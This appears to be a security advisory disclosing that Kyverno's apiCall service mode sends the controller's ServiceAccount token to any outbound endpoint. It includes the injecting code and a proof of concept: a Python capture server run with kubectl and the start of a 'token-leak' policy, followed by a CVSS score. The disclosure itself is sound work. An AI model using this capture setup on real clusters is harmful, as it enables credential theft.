Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
apiCall.service.urlkubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r...
1.17.0Exploitability
AV:NAC:LPR:LUI:NScope
S:CImpact
C:HI:NA:N7.7/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N